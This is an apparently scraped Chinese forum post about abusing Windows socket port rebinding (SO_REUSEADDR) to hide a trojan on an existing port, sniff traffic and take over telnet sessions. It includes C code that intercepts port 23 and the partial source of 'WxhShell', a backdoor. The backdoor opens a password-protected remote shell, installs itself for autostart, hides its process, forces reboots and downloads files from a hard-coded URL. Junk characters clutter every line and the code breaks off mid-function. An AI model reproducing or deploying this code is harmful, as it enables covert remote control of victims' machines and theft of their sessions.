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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l-gNJ=l+K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E,}(jAq7  
WSsX*L  
  saddr.sin_family = AF_INET; *SmR|Qy  
IaHu$` v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [uLpm*7  
)azK&f@tR|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z+5%.^Re  
?*/1J~<(@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }2]m]D@%7  
gucgNpX  
  这意味着什么?意味着可以进行如下的攻击: 1$S`>M%a  
bSkr:|A7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PNp-/1Cx  
jU}iQM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Gl6M(<f\5  
haSC[[o=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EEp~\^ -  
9=}&evGm89  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4> NmJrh  
B1k;!@@1 4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e6i m_ Tk  
9>-]*7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >$:_M*5  
(hi{ i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VUUE2k;^  
0x2[*pJ|IW  
  #include 2hf7F";Af  
  #include *3A)s O  
  #include .L8g( F(=:  
  #include    S7h?tR*u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >*h3u7t  
  int main() m:)s UC0  
  { ~[Z,:=z  
  WORD wVersionRequested;  jAxrU  
  DWORD ret; / _! Ed]  
  WSADATA wsaData; *q*$%H  
  BOOL val; y1bo28  
  SOCKADDR_IN saddr; #By~gcN  
  SOCKADDR_IN scaddr; 6=p!`DOd  
  int err; Lk]W?  
  SOCKET s; .c]@xoC  
  SOCKET sc; jL0=a.;  
  int caddsize; P{2j31u`  
  HANDLE mt; 5I&Dk4v  
  DWORD tid;   +QA|]Y~!  
  wVersionRequested = MAKEWORD( 2, 2 ); z#GrwE,r   
  err = WSAStartup( wVersionRequested, &wsaData ); 'B;n&tJ   
  if ( err != 0 ) { 4O7 {a  
  printf("error!WSAStartup failed!\n"); "]}?{2i;  
  return -1; t[p/65L>8  
  } [e7nW9\l  
  saddr.sin_family = AF_INET; ^[.Z~>3!\q  
   ]2rC n};  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l9z{pZ\KM  
/kV5~i<1S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J]5ZWo%  
  saddr.sin_port = htons(23); ,0aRHy_^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  tPChVnB  
  { |4!G@-2V:I  
  printf("error!socket failed!\n"); tR<L9h  
  return -1; V)c.AX5  
  } Rnw v/)  
  val = TRUE; \u*[mrX_B:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &F.L*M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P\%aJ'f~  
  { h|.{dv  
  printf("error!setsockopt failed!\n"); [tkP2%1  
  return -1; ->'xjD  
  } 4U*CfdZZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rw#?NI:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .>NPgd I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #c(BBTuX  
3 (F+\4aRm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +8.1cDEH\  
  { >M7(<V  
  ret=GetLastError(); /%AA\`: 6  
  printf("error!bind failed!\n"); ]Y3s5#n  
  return -1; i2!0bY  
  } =a6e*f  
  listen(s,2); 22Oe~W;  
  while(1) r85j /YK  
  { {-51rAyi  
  caddsize = sizeof(scaddr); +TN*6V{D  
  //接受连接请求 ~:N 1[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .[o`TlG%  
  if(sc!=INVALID_SOCKET) $1n\jN  
  { )D" 2Q:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -H$C3V3]  
  if(mt==NULL) %JuT'7VB  
  { 5UvqE_  
  printf("Thread Creat Failed!\n"); lL*"N|Y  
  break; CK8!7=>}^  
  } |3Bms d/3  
  } O5ZR{f&  
  CloseHandle(mt); ]~9YRVeC  
  } }Io5&ww:U  
  closesocket(s); s,~g| I\  
  WSACleanup(); Q1P=A:*]9  
  return 0; u2cDSRrqT  
  }   !Aw.)<teW  
  DWORD WINAPI ClientThread(LPVOID lpParam) c"pu"t@/Z  
  { beFD}`  
  SOCKET ss = (SOCKET)lpParam; k; ned  
  SOCKET sc; sfs2kiH  
  unsigned char buf[4096]; >njX=r.  
  SOCKADDR_IN saddr; T]2=  
  long num; 2{4f>,][  
  DWORD val; ;+rcT;_^/  
  DWORD ret; m:c .dei5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ly]J-BTe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zo@  
  saddr.sin_family = AF_INET; ITfz/d8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ageTv/  
  saddr.sin_port = htons(23); 4M P8t@z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZC3;QKw>  
  { sZ#U{LI  
  printf("error!socket failed!\n"); @gk{wh>c  
  return -1; /.Jq]"   
  } R+ tQvxp#  
  val = 100; | A# \5u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;8yEhar  
  { D/puK  
  ret = GetLastError(); "6>+IF  
  return -1; l]S%k&  
  } "/d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ov,[F< GT  
  { !H~PF*,hY  
  ret = GetLastError(); UP*5M  
  return -1; a=M/0N{!  
  } YA~`R~9d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t_ id/  
  { ?%Gzd(YEY  
  printf("error!socket connect failed!\n"); vo^2k13  
  closesocket(sc); bkiMF$K,K  
  closesocket(ss); h=dFSK?*D  
  return -1; :*eJ*(M  
  } 83_vo0@<6  
  while(1) xPzBbe  
  { |J:m{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S>y}|MG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rA A?{(!9x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6yd?xeD  
  num = recv(ss,buf,4096,0); DtkOb,wY  
  if(num>0) Ys8D|HIk  
  send(sc,buf,num,0); TbgIr  
  else if(num==0) na_Wp^;  
  break; t(xe*xS  
  num = recv(sc,buf,4096,0); (1)b> 6  
  if(num>0) .7> g8  
  send(ss,buf,num,0); \ \gAa-}:  
  else if(num==0) i&0Zli  
  break; lf_q6y  
  } R{q<V uN  
  closesocket(ss); fk\hrVP  
  closesocket(sc); N'YQ6U  
  return 0 ; ]*<!|;q  
  } O}X@QG2_  
g:Fo7*i  
U9"Ij}  
========================================================== T2 /u7<D-  
'25zb+ -  
下边附上一个代码,,WXhSHELL }ni@]k#q<  
3]67U}`  
========================================================== rmPJid[8B~  
x/IAc6H~_8  
#include "stdafx.h" tD> qHR  
$LOf2kn  
#include <stdio.h> n\u3$nGL1`  
#include <string.h> n1rJ^q-G  
#include <windows.h> tD6ukK1x  
#include <winsock2.h> kcE86Y=|x!  
#include <winsvc.h> 6yXN7L==x  
#include <urlmon.h> +5H1n(6)  
,AG k4]  
#pragma comment (lib, "Ws2_32.lib") `2n%Lo?_  
#pragma comment (lib, "urlmon.lib") OhTd>~R`<  
&"clBR Vg  
#define MAX_USER   100 // 最大客户端连接数 *ch7z|wo.  
#define BUF_SOCK   200 // sock buffer Y/qs\c+  
#define KEY_BUFF   255 // 输入 buffer ? J6\?ct4  
O[z-K K<  
#define REBOOT     0   // 重启 >g2Z t;*@w  
#define SHUTDOWN   1   // 关机 ltOsl-OpR  
VF g"AJf  
#define DEF_PORT   5000 // 监听端口 /m h #o  
GW0e=Y=LR  
#define REG_LEN     16   // 注册表键长度 %QQJSake|  
#define SVC_LEN     80   // NT服务名长度 ~> S? m;  
vGD D  
// 从dll定义API %APeQy"6#^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m*` W&k[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qjf9ZD&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <UbLds{+Uo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8HL8)G6  
W.?EjEx  
// wxhshell配置信息 DxxY<OkN  
struct WSCFG { `$ZBIe/u  
  int ws_port;         // 监听端口 53l!$#o  
  char ws_passstr[REG_LEN]; // 口令 #%.fsJNA$  
  int ws_autoins;       // 安装标记, 1=yes 0=no #=czqZw  
  char ws_regname[REG_LEN]; // 注册表键名 j9*5Kj  
  char ws_svcname[REG_LEN]; // 服务名 y@Ak_]{b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $8fJDN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b21@iW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tWA<OOl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I?KGb:]|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "\rR0V!wA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0"koZd,c  
d1u6*&@lf  
}; B=|m._OL]n  
'h`)6{  
// default Wxhshell configuration !5K5;M_Ih"  
struct WSCFG wscfg={DEF_PORT, 7t|011<  
    "xuhuanlingzhe", SD]rYIu+  
    1, x k&# fW^r  
    "Wxhshell", (RI+4V1  
    "Wxhshell", *iXaQuT  
            "WxhShell Service", @'JA3V}  
    "Wrsky Windows CmdShell Service", SH;:bLk_  
    "Please Input Your Password: ", \Z$MH`_nu  
  1, rWN%Tai-  
  "http://www.wrsky.com/wxhshell.exe", husk\  
  "Wxhshell.exe" ""x>-j4  
    }; b$=c(@]  
R;H>#caJ  
// 消息定义模块 'b Kc;\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xGt>X77  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `0Xs!f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0;2ApYks  
char *msg_ws_ext="\n\rExit."; +lw*/\7  
char *msg_ws_end="\n\rQuit."; 2;`WI:nt  
char *msg_ws_boot="\n\rReboot..."; <L:}u!  
char *msg_ws_poff="\n\rShutdown..."; y:,m(P  
char *msg_ws_down="\n\rSave to "; 3(=QY)  
mLH,6rO9  
char *msg_ws_err="\n\rErr!"; T!QAcO  
char *msg_ws_ok="\n\rOK!"; I4MZ JAYk  
d%Nx/DS)  
char ExeFile[MAX_PATH]; SfUbjs@a  
int nUser = 0; iKAqM{(  
HANDLE handles[MAX_USER]; f- ~]  
int OsIsNt; t^8|t(Lq  
Z2&7HTz  
SERVICE_STATUS       serviceStatus; `2@f=$B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :\"g}AX  
+p0Y*.  
// 函数声明 - e_B  
int Install(void); p9j2jb,qy  
int Uninstall(void); z9ZS& =>  
int DownloadFile(char *sURL, SOCKET wsh); k;pU8y6Y  
int Boot(int flag); XrN]}S$N  
void HideProc(void); 0oo*F  
int GetOsVer(void); NU.YL1  
int Wxhshell(SOCKET wsl); =[IKwmCX  
void TalkWithClient(void *cs); Jek3K&  
int CmdShell(SOCKET sock); C&&33L  
int StartFromService(void); A5%cgr% 6  
int StartWxhshell(LPSTR lpCmdLine); .MW/XnCYs4  
gutf[Ksu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r,cK#!<%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R6qC0@*  
1'SpJL1u~  
// 数据结构和表定义 7*g'4p-  
SERVICE_TABLE_ENTRY DispatchTable[] = K"g`,G6S  
{ Z]=9=S| .4  
{wscfg.ws_svcname, NTServiceMain}, yvV]|B@sO  
{NULL, NULL} o`7B@]  
}; yr34&M(a  
_>i<`k  
// 自我安装 0m'tPFQ|  
int Install(void) Tizjh&*^  
{ -k}&{v  
  char svExeFile[MAX_PATH]; h SU|rVi  
  HKEY key; zmh5x{US1  
  strcpy(svExeFile,ExeFile); 95 oh}c  
`d!~)D  
// 如果是win9x系统,修改注册表设为自启动 "Sd2VSLg  
if(!OsIsNt) { G-W(giF;NO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :1e'22[=.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oy~X@A  
  RegCloseKey(key); l&6+ykQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O%rt7qV"g2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7.7Z|lJ  
  RegCloseKey(key); eLyaTOZadu  
  return 0; %y R~dt'  
    } CB>O%m[1  
  } &-4SA j  
} N="H 06t  
else { o]m56  
HD9+4~8  
// 如果是NT以上系统,安装为系统服务 M;1B}x@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FHbw &  
if (schSCManager!=0) 6%2\bI.#  
{ ]|)M /U *  
  SC_HANDLE schService = CreateService =-8y =  
  ( vm`\0VGSW  
  schSCManager, 0} Lx}2  
  wscfg.ws_svcname, `#>JRQ=  
  wscfg.ws_svcdisp, _-bEnF+/0  
  SERVICE_ALL_ACCESS, 0O7VM)[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , * 2s(TW  
  SERVICE_AUTO_START, n%}Vd `c  
  SERVICE_ERROR_NORMAL, A_<1}8{L  
  svExeFile, j#JE4(&  
  NULL, Gt5'-Hyo  
  NULL, $sBje*;  
  NULL, ]^?V8*zL]  
  NULL, Q>[GD(8k  
  NULL h?`'%m?_b  
  ); L4H5#?'  
  if (schService!=0) oEnCe  
  { 7T-}oNaJA\  
  CloseServiceHandle(schService); L(i0d[F  
  CloseServiceHandle(schSCManager); ZsepTtY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ncle8=8  
  strcat(svExeFile,wscfg.ws_svcname); XoqmT/P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ ^cFdP)8|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =K\.YKT  
  RegCloseKey(key); ejI nJ  
  return 0; CXfPC[o  
    } kmfxk/F}  
  } iH[ .u{h  
  CloseServiceHandle(schSCManager); @F%_{6h  
} VA0p1AD  
} }_"<2|~_  
cp g+-Zf%  
return 1; @8qo(7<~Q  
} v^QUYsar  
NgPY/R>  
// 自我卸载 dqo&3^px  
int Uninstall(void) ,.T k "\@  
{ vaOCH*}h  
  HKEY key; VUE6M\&z>  
zM*PN|/%sH  
if(!OsIsNt) { I&Y9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wSP'pM{#2  
  RegDeleteValue(key,wscfg.ws_regname); H`028^CH$  
  RegCloseKey(key); {u,yX@F4l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = 7TK&  
  RegDeleteValue(key,wscfg.ws_regname); o\7q!  
  RegCloseKey(key); |g}~7*+i  
  return 0; H(k-jAO,  
  } C=|X]"*:u0  
} ;]+p>p-#  
} 1ZK~i  
else { _pS!sY~d  
/ %:%la%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iS%md  
if (schSCManager!=0) ~\~K ,v  
{ AD/7k3:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kgw_c:/'  
  if (schService!=0) a="\?L5  
  { `zZGL&9m`  
  if(DeleteService(schService)!=0) { !c3li .  
  CloseServiceHandle(schService); tQ > IJ  
  CloseServiceHandle(schSCManager); ^w*$qzESy  
  return 0; 7w]NG`7  
  } 540,A,>:tb  
  CloseServiceHandle(schService); ttaYtV]]  
  } '7Aj0U(  
  CloseServiceHandle(schSCManager); hy?e?^  
} +,BJ4``*k  
} Rw9 *!<Izt  
j%y)%4F8  
return 1; r{~@hd'Aj  
} 9/nS?>11  
W7ffdODb  
// 从指定url下载文件 yF#:*Vz>  
int DownloadFile(char *sURL, SOCKET wsh) ,9:0T LLR  
{ OVE5:)$x  
  HRESULT hr; d].(x)|st  
char seps[]= "/"; R#QcQx  
char *token; :',Q6j(s  
char *file; %wD<\ XRM  
char myURL[MAX_PATH]; zwyK \j  
char myFILE[MAX_PATH]; ~Ue t)y<  
Z} 8 m]I  
strcpy(myURL,sURL); *7yu&a8  
  token=strtok(myURL,seps); Q41eYzAi  
  while(token!=NULL) HAi'0%"  
  { c!{]Z_d\  
    file=token; lVmm`q6n9  
  token=strtok(NULL,seps); {hLS,Me  
  } JTxHM?/G  
@4Ox$M  
GetCurrentDirectory(MAX_PATH,myFILE); %HNe"7gk  
strcat(myFILE, "\\"); ?z2k 74&M^  
strcat(myFILE, file);  !AGjiP$  
  send(wsh,myFILE,strlen(myFILE),0); ?l3PDorR  
send(wsh,"...",3,0); d&'}~C`~k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); re `B fN  
  if(hr==S_OK) kZsat4r  
return 0; MJ )aY2  
else * @QC:1k  
return 1; h xCt[G@  
cTR@ :sm  
} Y`x54_32  
jd&kak  
// 系统电源模块 o$=D`B  
int Boot(int flag) m R3km1T  
{ j;|rI`67~  
  HANDLE hToken; Q0}Sju+HX  
  TOKEN_PRIVILEGES tkp; &mM[q 'V  
0PK*ULwSN  
  if(OsIsNt) { 16p$>a<6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,MtN_V-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TzCNY@y  
    tkp.PrivilegeCount = 1; !H5r+%Oo|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F`3J=AJOJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^E5[~C*o3  
if(flag==REBOOT) { ,pgpu !  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !]W}I  
  return 0; t/=xY'7  
} ZS-O,[  
else { K'`N(WiL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0;b%@_E  
  return 0; }538vFNi  
} \eD{bD  
  } n 2k&yL+a  
  else { <V}^c/c!  
if(flag==REBOOT) { pMB~Lt9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v\Y362Xv  
  return 0; G|Du/XYh  
} @q?zh'@;  
else { ]yxRaW9f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -N')LY  
  return 0; }NQ {S3JW  
} Hd1e9Q,:|  
} Y6|8;2E  
D3^Yc:[_@  
return 1; qc*z`Wz:  
} a!1\,.  
%n3lm(-0U  
// win9x进程隐藏模块 PQmgv&!DP  
void HideProc(void) 6wzTX8  
{ s uT#k3  
F8\nAX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A;t6duBDf/  
  if ( hKernel != NULL ) ?lh `>v  
  { Zhl}X!:c?\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *}Al0\q0M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,FvBZ.4c3=  
    FreeLibrary(hKernel); `7|\Gqy  
  } hhTM-D1Ehs  
p/|": (U  
return; S C8r.  
} 'J&&F2O%  
N798("  
// 获取操作系统版本 Z:l.{3J$  
int GetOsVer(void) 6.z8!4fpl  
{ c=U1/=R5  
  OSVERSIONINFO winfo; @$R[Js%MuO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "y_A xOH  
  GetVersionEx(&winfo); F2 /-Wk@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T@PtO "r  
  return 1; DwXzmp[qWH  
  else i-(^t1c  
  return 0; 26fbBt8nP  
} 3,@I` M  
5*=a*nD11  
// 客户端句柄模块 %Lec\(-4L  
int Wxhshell(SOCKET wsl) 6{rH|Z  
{ c;w%R8z  
  SOCKET wsh; 'Ldlo+*|5  
  struct sockaddr_in client; ^<0u~u)%T  
  DWORD myID; b?#k  
o#X|4bES  
  while(nUser<MAX_USER) 4%Q8>mEvT  
{ p?OwcMT]M  
  int nSize=sizeof(client); t'@1FA!)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &8R%W"<K  
  if(wsh==INVALID_SOCKET) return 1; Ol4 )*/oZ  
rs$sAa*f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T<*i($ [  
if(handles[nUser]==0) @Oe!*|?mS  
  closesocket(wsh); ][8ZeM9&p  
else Q ^%+r"h  
  nUser++; eWvL(2`Tx  
  } 3%Jg' Tr+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i 7:R4G(/#  
g:/l5~b  
  return 0; vpOn0([hS  
} A~ugx~S0  
7dl]f#uZU  
// 关闭 socket gd>Op  
void CloseIt(SOCKET wsh) KDP7u  
{ yBKkx@o#z  
closesocket(wsh); ,5" vzGLJ  
nUser--; t.m65  
ExitThread(0); Ug=8:a(U.  
} K29]B~0%E  
mA:NAV $!s  
// 客户端请求句柄 T"Ph@I<  
void TalkWithClient(void *cs) \HFeEEKH  
{ yyJ4r}TE  
T$/6qZew  
  SOCKET wsh=(SOCKET)cs; -R 4 t  
  char pwd[SVC_LEN]; -[?q?w!?  
  char cmd[KEY_BUFF]; :UmY|=v?t  
char chr[1]; <7TE[M'  
int i,j; !n4p*<Y6  
0}]k>ndT  
  while (nUser < MAX_USER) { ,mH2S/<}S  
HABMFv  
if(wscfg.ws_passstr) { b]hP;QK`U$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Two$wL/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c#+JG  
  //ZeroMemory(pwd,KEY_BUFF); Hk%m`|Z  
      i=0; "FI]l<G&  
  while(i<SVC_LEN) { ^+cf  
$aTZC>R  
  // 设置超时 b`E'MX_ m  
  fd_set FdRead; u= ( kii=/  
  struct timeval TimeOut; ;3NA,JA#Y  
  FD_ZERO(&FdRead); N?0T3-/K  
  FD_SET(wsh,&FdRead); a?%X9 +1A  
  TimeOut.tv_sec=8; ZK4/o  
  TimeOut.tv_usec=0; 2bU 3*m^M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -G2'c)DR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O [GG<Um  
Dt\F]\6sd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X<J NwjM%  
  pwd=chr[0]; b 8v?@s~  
  if(chr[0]==0xd || chr[0]==0xa) { ;Ad$Q9)EE  
  pwd=0; bWAhK@epI  
  break; 'l2'%@E>  
  } "Q]`~u':  
  i++; '~A~gK0  
    } 4' bup h1(  
1Iu^+  
  // 如果是非法用户,关闭 socket ZZp6@@zyq'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YuXq   
} W>0 36  
O#fGHI<43[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XJTY91~R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 62Yi1<kV@  
CGvU{n,"  
while(1) { <m"Zk k  
VqLqj$P  
  ZeroMemory(cmd,KEY_BUFF); 0m_c43+^  
W #E-vi+l  
      // 自动支持客户端 telnet标准   HkFoyy  
  j=0; J< BBM.^]  
  while(j<KEY_BUFF) { u-0-~TwD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r`}')2  
  cmd[j]=chr[0]; 9/TF #  
  if(chr[0]==0xa || chr[0]==0xd) { 0|n1O)>J  
  cmd[j]=0;  U=MFNp+  
  break; $NzD&b$7  
  } lO>w|=<  
  j++; smW 7zGE  
    } Gb.r!W8  
lAz.I  
  // 下载文件 Nw'i;}0v7r  
  if(strstr(cmd,"http://")) { TyVn5XHl^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s0 hD;`cm  
  if(DownloadFile(cmd,wsh)) +gh6eY8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); + DFG762  
  else {(#Dou  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Q}`kFB`  
  }  +T02AS  
  else {  Ew1> m'  
`8xt!8Z$  
    switch(cmd[0]) { HM ;9%rtO  
  AdDlS~\?  
  // 帮助 $Kn{x!,"(  
  case '?': { &OD)e@Tc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e>\[OwF-x  
    break; EEmYfP[3  
  } ;LM`B^Q]s  
  // 安装 YNV4w{>FD  
  case 'i': { NrPs :`  
    if(Install()) 8TIc;'bRM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=}F}[d"kk  
    else 3:1 h:Yc<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [A99e`  
    break; .jW+\mIX  
    } ~ {OBRC  
  // 卸载 U {Xg#UN  
  case 'r': { swEE >=  
    if(Uninstall()) }cuU5WQ?%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;5FsKIF  
    else H.#<&5f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,q&A RTS  
    break; #wn`choT'  
    } HC4qP9Gs  
  // 显示 wxhshell 所在路径 Ux5pw  
  case 'p': { R+Q..9 P  
    char svExeFile[MAX_PATH]; 8V$pdz|[  
    strcpy(svExeFile,"\n\r"); #5*|/LD  
      strcat(svExeFile,ExeFile); b`M  2VZu  
        send(wsh,svExeFile,strlen(svExeFile),0); jinDKJ,n;  
    break; 2 )oT\m  
    } .=rS,Tpo  
  // 重启 {x$WBy9  
  case 'b': { `rEu8u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >;I$&  
    if(Boot(REBOOT)) e%_2n=p~)%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fHK`u'  
    else { d'Cn] <  
    closesocket(wsh); .URCuB\{  
    ExitThread(0); imGg3'  
    } tB-0wD=PR  
    break; }',/~T6  
    } X.^S@3[  
  // 关机 M@\A_x(Mas  
  case 'd': { 1yHlBeEC  
